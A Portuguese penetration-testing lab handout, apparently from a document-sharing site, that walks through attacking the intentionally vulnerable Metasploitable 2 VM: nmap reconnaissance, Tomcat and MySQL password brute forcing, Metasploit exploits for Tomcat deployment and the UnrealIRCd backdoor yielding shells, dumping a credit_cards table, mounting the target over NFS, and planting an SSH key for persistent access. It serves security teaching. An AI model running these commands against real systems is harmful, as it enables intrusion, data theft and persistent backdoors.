Aula Metasploit. I. Escopo. Dica



Documentos relacionados
Metasploit Sabe o que é?

Sistema Operacional Unidade 12 Comandos de Rede e Acesso Remoto

O projeto Metasploit é um framework que foi criado em 2003 por HD Moore e é uma plataforma que permite a verificação do estado da segurança dos

Para funcionamento do Netz, alguns programas devem ser instalados e alguns procedimentos devem ser seguidos. São eles:

Introdução ao Sistema. Características

1. Capturando pacotes a partir da execução do traceroute

Sistema Operacional Unidade 13 Servidor Samba. QI ESCOLAS E FACULDADES Curso Técnico em Informática

Redes de computadores

FTP Protocolo de Transferência de Arquivos

Guia de Conectividade Worldspan Go Res! A V A N Ç A D O

Esta nota apresenta como definir o SSL VPN no roteador Vigor.

Analisar e demonstrar a aplicação da ferramenta Metasploit. Vmware Player, Putty, Backtrack, Windows Server 2003, CentOS e Metasploit.

Aula prática. Objetivo IPCONFIG. Prof. Leandro Pykosz Informa a configuração atual de rede da máquina;

Você pode testar se está tudo OK, abrindo um navegador no Debian Linux e acessando qualquer site.

Procedimentos para Configuração de Redirecionamento de Portas

Nesse artigo abordaremos os principais aspectos de instalação e uso do NTOP no Fedora Core 4.

Guia de instalação Command WorkStation 5.5 com o Fiery Extended Applications 4.1

Manual de Instalação do Servidor Orion Phoenix Versão Novembro/2010

Redes. Entenda o que são ICMP, ping e traceroute Autor: Hélder Garcia hlbognfspam@sounerd.com Março de 2004

Configurando DDNS no Stand Alone

Manual de Instalação e Configuração do SQL Express

Universidade Federal do Rio Grande do Norte

Senha Admin. Nessa tela, você poderá trocar a senha do administrador para obter acesso ao NSControl. Inicialização

Instalação do serviço de FTP com o Proftpd

Instalação: permite baixar o pacote de instalação do agente de coleta do sistema.

CSAU Guia: Manual do CSAU 10.0 como implementar e utilizar.

Revisão: - 1 Desinstalando Versões Anteriores

ALTERNATIVA PARA CONEXÃO VIA INTERNET DE IP MASCARADO A IP REAL

INTRODUÇÃO: 1 - Conectando na sua conta

Passo a Passo da instalação da VPN

Omega Tecnologia Manual Omega Hosting

Maker Planet Manual do Usuário

Como utilizar a central de gerenciamento VPN.

Acesso Re sso R moto

CONFIGURAÇÃO DE REDE SISTEMA IDEAGRI - FAQ CONCEITOS GERAIS

SCPIWeb. SCPIWebDespRec Aplicação Web para Consulta de Despesas e Receitas ( Lei Complementar nº 131 de 27 Maio de 2009 )

Guia de Prática. Windows 7 Ubuntu 12.04

Roteiro 3: Sistemas Linux arquivos e diretórios

Manual Captura S_Line

GUIA DE INÍCIO RÁPIDO NHS NOBREAK MANAGER 4.0 TOPOLOGIA MÍNIMA DE REDE PARA A INSTALAÇÃO E USO DO SOFTWARE COM GPRS

Personata Recorder. Manual de Instalação e Configuração

IMPORTANTE: O PNM4R2 não entra em estado funcional enquanto o Windows não

Entendendo como funciona o NAT

Aloque 1024 MB de RAM para a VM. Crie um novo disco virtual. Figura 03. Figura 04.

Protocolos Telnet e SSH. Professor Leonardo Larback

Tutorial para Instalação do Ubuntu Server 10.04

- Computador Servidor: É o computador que armazenará o banco de dados do programa. Não necessariamente precisa rodar o Hábil Enterprise.

1 REQUISITOS BÁSICOS PARA INSTALAR O SMS PC REMOTO

O Nmap - Network Mapper é uma ferramenta de código aberto para exploração de rede e auditoria de segurança.

Manual de Instalação do Agente Citsmart

Curso Técnico em Informática. Informática Aplicada Instrutor Rafael Barros Sales

Para começarmos as configurações, primeiramente vamos habilitar o DVR Veicular para o acesso. Clique em Menu e depois entre em Geral.

INSTALAÇÃO DO MICROSOFT WINDOWS SHAREPOINT SERVICES 2.0

Instalação rápida do Expresso

EN3611 Segurança de Redes Prof. João Henrique Kleinschmidt Prática Wireshark Sniffer de rede

Redes de Computadores

Instalando software MÉDICO Online no servidor

Câmera IP Sem/Com Fio. Manual de Instalação Rápida. (Para MAC OS)

1. Alguns protocolos básicos da pilha TCP/IP

TUTORIAL PARA A INSTALAÇÃO EM AMBIENTE DE REDE WINDOWS DO SERVIDOR FIREBIRD

Lab - Configurando o Firewall do Windows 7

ENDEREÇOS DE REDE PRIVADOS até até até Kernel

2 de maio de Remote Scan

Professor: Macêdo Firmino Disciplina: Sistemas Operacionais de Rede

Backups Via FTP (File Transfer Protocol)

Faculdade de Tecnologia SENAC Goiás. Disciplina: Gerenciamento de Rede de Computadores. Goiânia, 16 de novembro de 2014.

Lab - Configurando o Firewall do Windows Vista

No Fedora, instalamos os pacotes "mysql" e "mysql-server", usando o yum:

Instruções para Instalação dos Utilitários Intel

GUIA INTEGRA SERVICES E STATUS MONITOR

LICENCIAMENTO V14 USANDO REPRISE LICENSE MANAGER

MULTIACERVO - VERSÃO 17.*

Guia de instalação para ambiente de Desenvolvimento LINUX

O sistema operacional recomendado deve ser o Windows 2003, Windows 2000 ou Windows XP (nessa ordem de recomendação).

Guia de conexão na rede wireless

AP_ Conta Aplicativo para digitação e envio de contas médicas no padrão TISS

TUTORIAL: MANTENDO O BANCO DE DADOS DE SEU SITE DENTRO DO DOMÍNIO DA USP USANDO O SSH!

Procedimentos para configuração em modo WDS

MANUAL DE INSTALAÇÃO E PROGRAMAÇÃO CONVERSOR - IP / USB / SERIAL RV1

Sistema Operacional Unidade 5 - Iniciando o modo texto. QI ESCOLAS E FACULDADES Curso Técnico em Informática

Capítulo 5 Métodos de Defesa

MANUAL DE CONFIGURAÇÃO

Manual de Instalação e Configuração do Sistema Cali LAB View

Acesso Remoto Placas de captura

Manual de Acesso a Servidores SSH

Infra-Estrutura de Redes de Computadores

ÍNDICE 1.CONHECENDO OS APLICATIVOS NECESSÁRIOS PARA O FUNCIONAMENTO DO SISTEMA URANO INTEGRA...

CST em Redes de Computadores

Instalando um pacote LAMP (Linux, Apache, MySQL, PHP) no Mandriva

Configurando um Servidor de Arquivos SAMBA. Prof. Armando Martins de Souza

TRABALHO INTRUSÃO DE REDES

Guia de instalação Command WorkStation 5.6 com o Fiery Extended Applications 4.2

4º Semestre. Aula 15 Serviços Internet (FTP)

Obs: É necessário utilizar um computador com sistema operacional Windows 7.

1. Introdução. 2. Conteúdo da embalagem

Instalação do TOTVS ESB. Guia de Instalação do TOTVS ESB

LABORATÓRIO 3 (parte 2)

Como atualizar o arquivo de licença do HSC ISS Free

Transcrição:

Aula Metasploit I. Escopo As estações responsáveis pelos ataques utilizam a distribuição GNU/Linux Backtrack 5 R3, uma distribuição GNU/Linux baseada no Ubuntu 10.04 LTS. Esta versão foi lançada em 13/Ago/2012 1, no momento a mais recente deste pacote de ferramentas. O sistema alvo utilizado neste exercício é o Metasploitable 2. Uma distribuição GNU/Linux desenvolvida especialmente para servir de alvo na execução de testes de segurança. Ela utiliza uma distribuição Ubuntu com diversas aplicações desatualizadas e mal configuradas. A versão utilizada foi lançada em 21/05/2012 2. Virtual Box O host com a instalação do Backtrack será executado como uma máquina virtual utilizando o Virtualbox. Abra a janela do Virtualbox, mas antes de executar o Backtrack clique com o botão direito sobre a máquina virtual e clique em Configurações: Na janela de Configurações, vá até a opção Rede e certifique-se de que o Adaptador 1 com a opção Conectado a: Placa em modo Bridge. Em avançado, clique algumas vezes no botão ao lado do campo Endereço MAC, garantindo dessa forma que todos possuam endereços MAC diferentes uns dos outros na mesma rede. Dica Sempre que aparecer x.x.x.x, substitua automaticamente pelo IP do host que será alvo do ataque. Quando x.x.x.y substitua pelo IP do host atacante (Backtrack). A representação do endereço x.x.x.0/24 identifica a utilização do IP da rede. 1 http://www.backtrack-linux.org/ 2 http://sourceforge.net/projects/metasploitable/ 1

No momento de executar algum comando, verifique se está no local correto. Quando o comando indicar o símbolo #, significa que você deve estar na linha de comando do Linux. Caso o comando indique outro prefixo, como por exemplo, mysql > ou msf >, você deve estar na linha de comando desse aplicativo. Comandos Básicos do Linux cat [arquivo] : lista o conteúdo do arquivo. cat /etc/issue : mostra detalhes sobre a distribuição utilizada. cd [pasta] : entra na pasta especificada. cp [origem] [destino] : copia um arquivo. cp -R [pasta_origem] [destino] : copia uma pasta e todo seu conteúdo. ls : listas arquivos e pastas em um diretório. ls -l : listar arquivos e pastas exibindo os detalhes. ls -la : listar arquivos e pastas incluindo ocultos. mkdir [pasta] : cria uma pasta com o nome indicado mv [origem] [destino] : move/renomeia arquivo ou pasta. passwd : altera a senha do usuário atual. passwd [login] : altera a senha de outro usuário. pwd : mostra o caminho da pasta atual. uname -a : mostra informações sobre o sistema. II. Mapeamento dos alvos Identificação de hosts ping Conforme ALI (2011), o ping é a ferramenta mais famosa para verificar a disponibilidade de um host. Seu funcionamento se dá pelo envio de pacotes ECHO REQUEST ao host de destino, caso o host em questão esteja disponível ele retornará um pacote ECHO REPLY, o protocolo utilizado é o ICMP (Internet Control Message Protocol). Em uma execução bem sucedida é possível verificar se um host conhecido está disponível. No exemplo abaixo foram enviados três pacotes ICMP ECHO REQUEST e todos os três foram respondidos (ICMP ECHO REPLY). A quantidade de pacotes é definida pelo parâmetro '-c'. # ping -c 3 x.x.x.x (IP do host alvo) PING x.x.x.x (x.x.x.x) 56(84) bytes of data. 64 bytes from x.x.x.x: icmp_seq=1 ttl=64 time=69.9 ms 2

64 bytes from x.x.x.x: icmp_seq=2 ttl=64 time=1.38 ms 64 bytes from x.x.x.x: icmp_seq=3 ttl=64 time=1.18 ms --- x.x.x.x ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2004ms rtt min/avg/max/mdev = 1.183/24.165/69.929/32.360 ms fping Quando não se conhece o endereço IP do alvo cuja disponibilidade deve ser testada, é preciso utilizar ferramentas capazes de gerar uma lista de endereços para o envio do ICMP ECHO REQUEST. O fping faz isso através do parâmetro '-g', no exemplo abaixo será utilizado também o parâmetro '-c 1' para enviar uma única solicitação para cada host da lista. Os comandos abaixo geram exatamente a mesma lista, o primeiro utiliza o endereço de sub-rede e o segundo utiliza um endereço inicial e final para a geração da lista. Escolha um e execute: # fping -c 1 -g x.x.x.0/24 (IP da rede alvo) # fping -c 1 -g x.x.x.1 x.x.x.254 (IP inicial e final da rede) Para cada host cuja resposta não for obtida é apresentada cada uma das linhas, conforme segue: ICMP Host Unreachable from x.x.x.x for ICMP Echo sent to x.x.x.y ------------------------------------- x.x.x.y : xmt/rcv/%loss = 1/0/100% Para cada host ativo, e respondendo a requisições, são geradas linhas como as que seguem: x.x.x.x : [0], 84 bytes, 5.80 ms (5.80 avg, 0% loss) ------------------------------------------------------- x.x.x.x : xmt/rcv/%loss = 1/1/0%, min/avg/max = 5.80/5.80/5.80 Analisando as linhas acima seria possível afirmar que o host x.x.x.y não está ativo e o host x.x.x.x está. Identificação dos Serviços nmap Para que o nmap identifique com mais precisão as informações do sistema alvo, é importante executar a atualização de sua base de dados com o comando abaixo: # nmap --script-updatedb O nmap também possibilita identificar os hosts disponíveis em uma rede utilize o comando abaixo: # nmap -sp x.x.x.0/24 A resposta do comando será algo como: Nmap scan report for x.x.x.x Host is up (0.00070s latency). MAC Address: 08:00:27:18:E5:1E (Cadmus Computer Systems) Nmap scan report for x.x.x.y Host is up. Nmap done: 256 IP addresses (2 hosts up) scanned in 33.95 seconds O parâmetro '-sp' solicita um Ping Scan, e retorna a lista de hosts ativos na rede especificada e ainda identifica o endereço físico da placa de rede (MAC Address). Compare a quantidade de hosts retornados 3

pelo comando fping e pelo nmap. O nmap localizou mais por utilizar o protocolo TCP, enquanto o fping utiliza o ICMP, protocolo bloqueado em diversos host para evitar ataques como o ping da morte. A forma mais simples de execução da ferramenta nmap para mapear os serviços em execução em um host é: # nmap x.x.x.x (IP do host alvo) A saída do comando será algo parecido com: Nmap scan report for x.x.x.x Host is up (0.0051s latency). Not shown: 977 closed ports PORT 21/tcp 22/tcp 23/tcp 25/tcp 53/tcp 80/tcp STATE SERVICE open ftp open ssh open telnet open smtp open domain open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 1099/tcp open rmiregistry 1524/tcp open ingreslock 2049/tcp open nfs 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp open ajp13 8180/tcp open unknown MAC Address: 08:00:27:18:E5:1E (Cadmus Computer Systems) Nmap done: 1 IP address (1 host up) scanned in 13.54 seconds Pela utilização padrão do nmap, a ferramenta testa cada porta apenas para verificar os serviços que estão em execução e monitorando cada uma das portas, porém sem completar a conexão. É como telefonar, esperar que atendam e desligar sem saber se quem atendeu foi uma pessoa ou uma secretária eletrônica. Portanto, o nome dos serviços sugeridos por ele são apenas suposições de acordo com o número da porta. Com o parâmetro abaixo, o nmap tenta capturar o nome do serviço que realmente está em execução nas portas do host alvo e suas respectivas versões: # nmap -sv x.x.x.x (IP do host alvo) A saída do comando será: Nmap scan report for x.x.x.x 4

Host is up (0.0059s latency). Not shown: 977 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 111/tcp open rpcbind (rpcbind V2) 2 (rpc #100000) 139/tcp open netbios-ssn WORKGROUP) 445/tcp open netbios-ssn WORKGROUP) 512/tcp open exec 513/tcp open login 514/tcp open shell? 1099/tcp open rmiregistry 1524/tcp open ingreslock? Samba smbd 3.X (workgroup: Samba smbd 3.X (workgroup: netkit-rsh rexecd GNU Classpath grmiregistry 2049/tcp open nfs (nfs V2-4) 2-4 (rpc #100003) 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 5432/tcp open postgresql PostgreSQL DB 8.3.0-8.3.7 5900/tcp open vnc VNC (protocol 3.3) 6000/tcp open X11 6667/tcp open irc 8009/tcp open ajp13? 8180/tcp open http 1.1 (access denied) Unreal ircd Apache Tomcat/Coyote JSP engine O resultado deste comando é mais demorado pelo fato do nmap realizar uma conexão em cada uma das portas. Agora, com os nomes dos softwares em execução e suas respectivas versões, o conhecimento sobre o alvo aumenta. O nmap também pode tentar detectar o sistema operacional em execução no host alvo. Execute o comando abaixo e analise o resultado: # nmap -O x.x.x.x (IP do host alvo) Na saída desse comando, os serviços em execução são repetidos e ao final é apresentado o resultado do provável sistema operacional do alvo: Nmap scan report for x.x.x.x Host is up (0.0013s latency). Not shown: 977 closed ports PORT 21/tcp 22/tcp 23/tcp... STATE SERVICE open ftp open ssh open telnet 6667/tcp open irc 5

8009/tcp open ajp13 8180/tcp open unknown MAC Address: 08:00:27:18:E5:1E (Cadmus Computer Systems) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:kernel:2.6 OS details: Linux 2.6.9-2.6.31 Network Distance: 1 hop O comando acima retorna que o sistema utilizado é um Linux com kernel entre as versões 2.6.13 e 2.6.31. O Metasploitable 2 utiliza, mais precisamente, a versão 2.6.24 do kernel Linux, portanto o resultado está dentro da expectativa. Para um resultado ainda mais completo, teste o comando: # nmap -v -A x.x.x.x (IP do host alvo) Sua saída é a seguinte:... Nmap scan report for x.x.x.x Host is up (0.0044s latency). Not shown: 977 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 _ftp-anon: Anonymous FTP login allowed (FTP code 230) 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) ssh-hostkey: 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) _2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd _smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, ssl-cert: Subject: commonname=ubuntu804- base.localdomain/organizationname=ocosa/stateorprovincename=there is no such thing outside US/countryName=XX Issuer: commonname=ubuntu804- base.localdomain/organizationname=ocosa/stateorprovincename=there is no such thing outside US/countryName=XX Public Key type: rsa Public Key bits: 1024 Not valid before: 2010-03-17 14:07:45 Not valid after: 2010-04-16 14:07:45 MD5: dcd9 ad90 6c8f 2f73 74af 383b 2540 8828 _SHA-1: ed09 3088 7066 03bf d5dc 2373 99b4 98da 2d4d 31c6 53/tcp open domain ISC BIND 9.4.2 dns-nsid: _ bind.version: 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 6

_http-methods: No Allow or Public header in OPTIONS response (status code 200) _http-title: Metasploitable2 - Linux 111/tcp open rpcbind (rpcbind V2) 2 (rpc #100000) rpcinfo: program version port/proto service 100000 2 111/tcp rpcbind 100000 2 111/udp rpcbind 100003 2,3,4 2049/tcp nfs 100003 2,3,4 2049/udp nfs 100005 1,2,3 39334/udp mountd 100005 1,2,3 55482/tcp mountd 100021 1,3,4 39102/udp nlockmgr 100021 1,3,4 59488/tcp nlockmgr 100024 1 37315/udp status _ 100024 1 139/tcp open netbios-ssn WORKGROUP) 445/tcp open netbios-ssn WORKGROUP) 512/tcp open exec 513/tcp open login? 514/tcp open shell? 1099/tcp open rmiregistry 1524/tcp open ingreslock? 44437/tcp status Samba smbd 3.X (workgroup: Samba smbd 3.X (workgroup: netkit-rsh rexecd GNU Classpath grmiregistry 2049/tcp open nfs (nfs V2-4) 2-4 (rpc #100003) 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql mysql-info: Protocol: 10 Version: 5.0.51a-3ubuntu5 Thread ID: 10 MySQL 5.0.51a-3ubuntu5 Some Capabilities: Connect with DB, Compress, SSL, Transactions, Secure Connection Status: Autocommit _Salt: ABf[xg{Tsd bwma86gcx 5432/tcp open postgresql PostgreSQL DB 8.3.0-8.3.7 5900/tcp open vnc VNC (protocol 3.3) vnc-info: Protocol version: 3.3 Security types: _ Unknown security type (33554432) 6000/tcp open X11 6667/tcp open irc (access denied) Unreal ircd irc-info: Server: irc.metasploitable.lan Version: Unreal3.2.8.1. irc.metasploitable.lan Lservers/Lusers: 0/1 Uptime: 0 days, 1:50:36 Source host: 80911CEB.D3975B40.7B559A54.IP _Source ident: OK nmap 7

8009/tcp open ajp13? 8180/tcp open http 1.1... Apache Tomcat/Coyote JSP engine MAC Address: 08:00:27:18:E5:1E (Cadmus Computer Systems) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:kernel:2.6 OS details: Linux 2.6.9-2.6.31 Uptime guess: 0.076 days (since Sun Oct 21 17:00:22 2012) Network Distance: 1 hop... Host script results: nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> Names METASPLOITABLE<00> Flags: <unique><active> METASPLOITABLE<03> Flags: <unique><active> METASPLOITABLE<20> Flags: <unique><active> \x01\x02 MSBROWSE \x02<01> Flags: <group><active> WORKGROUP<00> Flags: <group><active> WORKGROUP<1d> Flags: <unique><active> _ WORKGROUP<1e> Flags: <group><active> smb-os-discovery: OS: Unix (Samba 3.0.20-Debian) NetBIOS computer name: Workgroup: WORKGROUP _ System time: 2012-10-21 18:46:51 UTC-4 TRACEROUTE HOP RTT ADDRESS 1 4.44 ms 10.0.0.10... Este resultado é ainda mais demorado, porém com ele foi possível obter informações sobre versões de softwares não identificados anteriormente e detalhes sobre serviços específicos, como FTP, SMB entre outros. Com isso torna-se viável a exploração de falhas específicas das versões instaladas. Com este último comando foi possível identificar que o FTP aceita conexões anônimas, que a versão do Unreal ircd é a 3.2.8.1. Incluindo a identificação do sistema operacional e a possível versão do Kernel Linux. III. Identificação de vulnerabilidades Unreal IRC Com as informações obtidas no tópico anterior, agora é possível pesquisar quais softwares do host alvo possuem vulnerabilidades conhecidas. Como forma de exemplo, em uma rápida pesquisa no Google pelo termo Unreal3.2.8.1 exploit, obtêm-se como primeiro resultado a página do Metasploit, conforme tela abaixo: 8

Figura 1: Seção de exploits do site Metasploit Com este resultado é possível descobrir que esta versão do Unreal IRC possui uma Backdoor, e seu nível de exploração é categorizado como 'Excelente'. IV. Exploração Metasploit Metasploit é uma plataforma que fornece a infraestrutura para automatizar tarefas. Possui diversos módulos complementares e pode ser utilizado de diversas formas para auxiliar em um teste de invasão. (Kennedy et al. 2011) O Metasploit possui mais de uma opção de interface, utilizaremos o MSFConsole por ser o mais simples e versátil do framework (Kennedy et al. 2011), oferecendo diversos recursos e ferramentas. Com ela é possível executar exploits, carregar módulos auxiliares, efetuar varredura, enumeração e rodar exploits em massa contra alvos específicos ou redes inteiras. Primeiro acesso Antes de utilizar o metasploit é recomendado atualizar seu banco de dados com o comando abaixo: # msfupdate O comando abaixo entra na interface de console do Metasploit: # msfconsole Password guessing Tomcat O servidor Apache Tomcat é um servidor web Java. Sua execução foi identificada pela linha abaixo, gerada pelo nmap: 8180/tcp open http 1.1 Apache Tomcat/Coyote JSP engine Dentro do console do metasploit é possível utilizar o comando search para identificar os módulos disponíveis: msf > search tomcat Dentre vários resultados um deles será: 9

Name... Description auxiliary/scanner/http/tomcat_mgr_login... Tomcat Application Manager Login Utility Para fazer uso deste módulo utiliza-se o comando: msf > use auxiliary/scanner/http/tomcat_mgr_login Cada módulo possui parâmetros necessários à sua execução, com o comando abaixo é possível obter uma lista deles: msf auxiliary(tomcat_mgr_login) > show options Perceba que os parâmetros abaixo já estão preenchidos: PASS_FILE USERPASS_FILE USER_FILE Pode deixá-los como estão, no momento serão configurados apenas os parâmetros abaixo. Para cada parâmetro que deve ser configurado deverá ser utilizado o comando set: msf auxiliary(tomcat_mgr_login) > set RHOSTS x.x.x.x (IP alvo) msf auxiliary(tomcat_mgr_login) > set RPORT 8180 (Porta do Tomcat) Execute novamente o comando show options e verifique se os parâmetros foram corretamente preenchidos. Por fim é utilizado o comando exploit que executa o módulo contra o alvo especificado acima: msf auxiliary(tomcat_mgr_login) > exploit Este módulo executa um ataque por palavras de dicionário, utilizando os arquivos indicados nas variáveis indicadas acima. Neste ataque uma das combinações utilizadas poderá ser aceita pelo servidor:... [*] 192.168.1.100:8180 TOMCAT_MGR - [15/56] - Trying username:'root' with password:'root' [-] 192.168.1.100:8180 TOMCAT_MGR - [15/56] - /manager/html [Apache- Coyote/1.1] [Tomcat Application Manager] failed to login as 'root' [*] 192.168.1.100:8180 TOMCAT_MGR - [16/56] - Trying username:'tomcat' with password:'tomcat' [+] http://192.168.1.100:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login 'tomcat' : 'tomcat' [*] 192.168.1.100:8180 TOMCAT_MGR - [17/56] - Trying username:'both' with password:'both' [-] 192.168.1.100:8180 TOMCAT_MGR - [17/56] - /manager/html [Apache- Coyote/1.1] [Tomcat Application Manager] failed to login as 'both'... A linha em destaque informa um login e senha aceitos, dessa forma outros ataques podem ser perpetrados: msf > use exploit/multi/http/tomcat_mgr_deploy msf exploit(tomcat_mgr_deploy) > set RHOST x.x.x.x msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat msf exploit(tomcat_mgr_deploy) > set RPORT 8180 Neste módulo é preciso utilizar o parâmetro PAYLOAD, para obter uma lista de payloads compatíveis com o módulo em questão utiliza-se o comando 10

msf exploit(tomcat_mgr_deploy) > show payloads Conforme Kennedy e outros (2011), payload identifica o código que o módulo deve executar e que deve ser entregue ao alvo. No caso será utilizado um prompt de comando feito em java e como o Tomcat é um servidor Java, o prompt será executado: msf exploit(tomcat_mgr_deploy) > set PAYLOAD java/shell/bind_tcp msf exploit(tomcat_mgr_deploy) > exploit O comando acima fornecerá um prompt de comando para o usuário tomcat que poderá executar programas e abrir arquivos aos quais ele possua acesso. MySQL É um dos Sistemas Gerenciadores de Banco de Dados (SGBD) mais populares do mundo. Possui uma versão distribuída como Software Livre e uma versão comercial. O atual responsável pelo seu desenvolvimento é a Oracle. Acesse o msfconsole e digite o comando abaixo: msf > search mysql São mostrados todos os módulos com a palavra mysql em seu nome, ou seja, os módulos que trabalham com esse banco de dados. Neste momento o módulo utilizado será o seguinte: msf > use auxiliary/scanner/mysql/mysql_login Liste os parâmetros necessários para executar este módulo: msf auxiliary(mysql_login) > show options Verifique os parâmetros disponíveis, preencha com as opções abaixo: msf > set RHOSTS x.x.x.x (IP destino) msf > set USERNAME root msf > set PASS_FILE /opt/metasploit/msf3/data/wordlists/unix_passwords.txt É possível listar os parâmetros novamente para verificar se estão preenchidos (show options). E então, execute o módulo: msf > exploit O módulo tentará se conectar ao banco de dados MySQL do host x.x.x.x utilizando o usuário root, primeiro com a senha em branco, em seguida com cada uma das palavras do arquivo unix_passwords.txt como senha. É possível ainda configurar o parâmetro USER_FILE com o arquivo abaixo, com isso todas as linhas do arquivo serão testadas como login. É um teste demorado, porém pode ser a melhor maneira de descobrir um login e senha válidos: /opt/metasploit/msf3/data/wordlists/unix_users.txt Agora abra outra janela de terminal e tente se conectar ao banco de dados utilizando o usuário root e a senha descoberta: (IP alvo) # mysql -h x.x.x.x -u root -psenha Alguns comandos úteis para obter informações de um banco MySQL Server. Liste os databases existentes: mysql> show databases; Escolha um database, por exemplo: 11

mysql> use owasp10; Liste todas as tabelas do database escolhido: mysql> show tables; A título de exemplo, liste os registros de uma das tabelas: mysql> select * from credit_cards; Agora liste os registros de uma das tabelas salvando o resultado no arquivo indicado: mysql> select * from credit_cards -> into outfile '/tmp/arquivo_[seunome].txt'; Um arquivo é gerado com o conteúdo da tabela, porém este arquivo está no host alvo. Ainda precisaremos copiá-lo para o computador local. Acesso ao prompt Unreal IRC Com o comando a seguir, é possível buscar os módulos com os exploits do Unreal IRC: msf > search unreal irc O módulo encontrado é: exploit/unix/irc/unreal_ircd_3281_backdoor Utilize o módulo: msf > use exploit/unix/irc/unreal_ircd_3281_backdoor Mostrar os parâmetros para sua utilização msf exploit(unreal_ircd_3281_backdoor) > show options Abaixo os parâmetros com a indicação de que são obrigatórios: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 6667 yes The target port Defina o host alvo com o comando: msf exploit(unreal_ircd_3281_backdoor) > set RHOST x.x.x.x Explorar: msf exploit(unreal_ircd_3281_backdoor) > exploit Resultado: [*] Started reverse double handler [*] Connected to x.x.x.x:6667... :irc.metasploitable.lan NOTICE AUTH :*** Looking up your hostname... :irc.metasploitable.lan NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead [*] Sending backdoor command... [*] Accepted the first client connection... [*] Accepted the second client connection... 12

[*] Command: echo aredlp8ml4sca5t6; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "aredlp8ml4sca5t6\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (x.x.x.x:4444 -> x.x.x.y:57897) at 2012-10-21 20:23:27 Acesso ao prompt de comando com permissões de administrador (no Linux, usuário root). Pastas compartilhadas NFS Uma das linhas do resultado do nmap indica que a porta 2049 está sendo utilizada. 2049/tcp open nfs (nfs V2-4) 2-4 (rpc #100003) Esta porta se trata do serviço de compartilhamento de arquivo NFS. Com o comando abaixo é possível verificar quais pastas estão sendo compartilhadas pelo protocolo: # showmount -e x.x.x.x (IP do host alvo) Export list for x.x.x.x: / * Com essa informação em mãos, é possível montar a pasta raiz do servidor em um ponto da máquina local: # mkdir /tmp/mnt # mount -t nfs x.x.x.x:/ /tmp/mnt -o nolock Com esta pasta compartilhada é possível copiar arquivos entre o computador invasor e o computador da vítima. Acesse a pasta tmp do host alvo: # cd /tmp/mnt/tmp Copie o arquivo gerado pelo comando SQL: # cp arquivo_[seunome].txt /root Manutenção do acesso SSH Primeiramente, tente conectar-se ao servidor da vítima por SSH: # ssh root@x.x.x.x O servidor pedirá a senha do usuário root, como não temos, não conseguiremos logar na máquina remota. Para que o login SSH funcione, gere uma chave SSH: # ssh-keygen Esta chave identifica o computador que você está utilizando. Adicione essa chave gerada como uma chave de confiança no servidor remoto, utilizando a pasta compartilhada que foi montada anteriormente: # cat /root/.ssh/id_rsa.pub >> /tmp/mnt/root/.ssh/authorized_keys 13

Agora tente logar novamente utilizando SSH: # ssh root@x.x.x.x Dessa vez a conexão torna-se possível devido à relação de confiança criada ao copiar a chave do host invasor para o host alvo. Com isso já temos uma backdoor sempre que precisar entrar no servidor remoto. Copiando arquivos De dentro do host invasor Copie um arquivo do host alvo para o host invasor utilizando a pasta compartilhada montada (/tmp/mnt): cp [origem] [destino] # cp /tmp/mnt/tmp/arquivo.txt /root É possível ainda copiar um arquivo utilizando o SSH: scp [origem] [destino] scp login@ip_alvo:/pasta/arquivo /pasta_local # scp root@x.x.x.x:/tmp/arquivo.txt /root De dentro do host alvo Agora vamos copiar um arquivo para o host invasor, estando dentro do host alvo. Para acessar o host Backtrack via SSH pela primeira vez, execute no Backtrack o comando: # sshd-generate # restart ssh Caso apresente erro no segundo comando, execute: # /etc/init.d/ssh restart A partir de agora o servidor SSH está habilitado no Bracktrack, podendo ser acessado para copiar arquivos com o comando abaixo: scp /pasta/arquivo login@x.x.x.y:/pasta # scp /home/user/[arquivo] root@x.x.x.y:/root Para desmontar a pasta compartilhada do servidor alvo, utilize: # umount /tmp/mnt Treino Acesse a pasta /home/user do host alvo e copie o arquivo.pdf e.txt para /root do Backtrack. Referências WILHELM, Thomas. Professional Penetration Testing: creating and operating a formal hacking lab. Burlington, Massachusetts: Syngress. 2010. Wiki Backtrack Linux. Getting started with OpenVas. 1 June 2011, at 23:25. <Acesso em: 09/03/2012>. Disponível em: http://www.backtrack-linux.org/wiki/index.php/openvas ALI, Shakeel & HERIYANTO, Tedi. BackTrack 4: Assuring Security by Penetration Testing. Packt Publishing. Packt Publishing: Birmingham, UK. 2011. 14

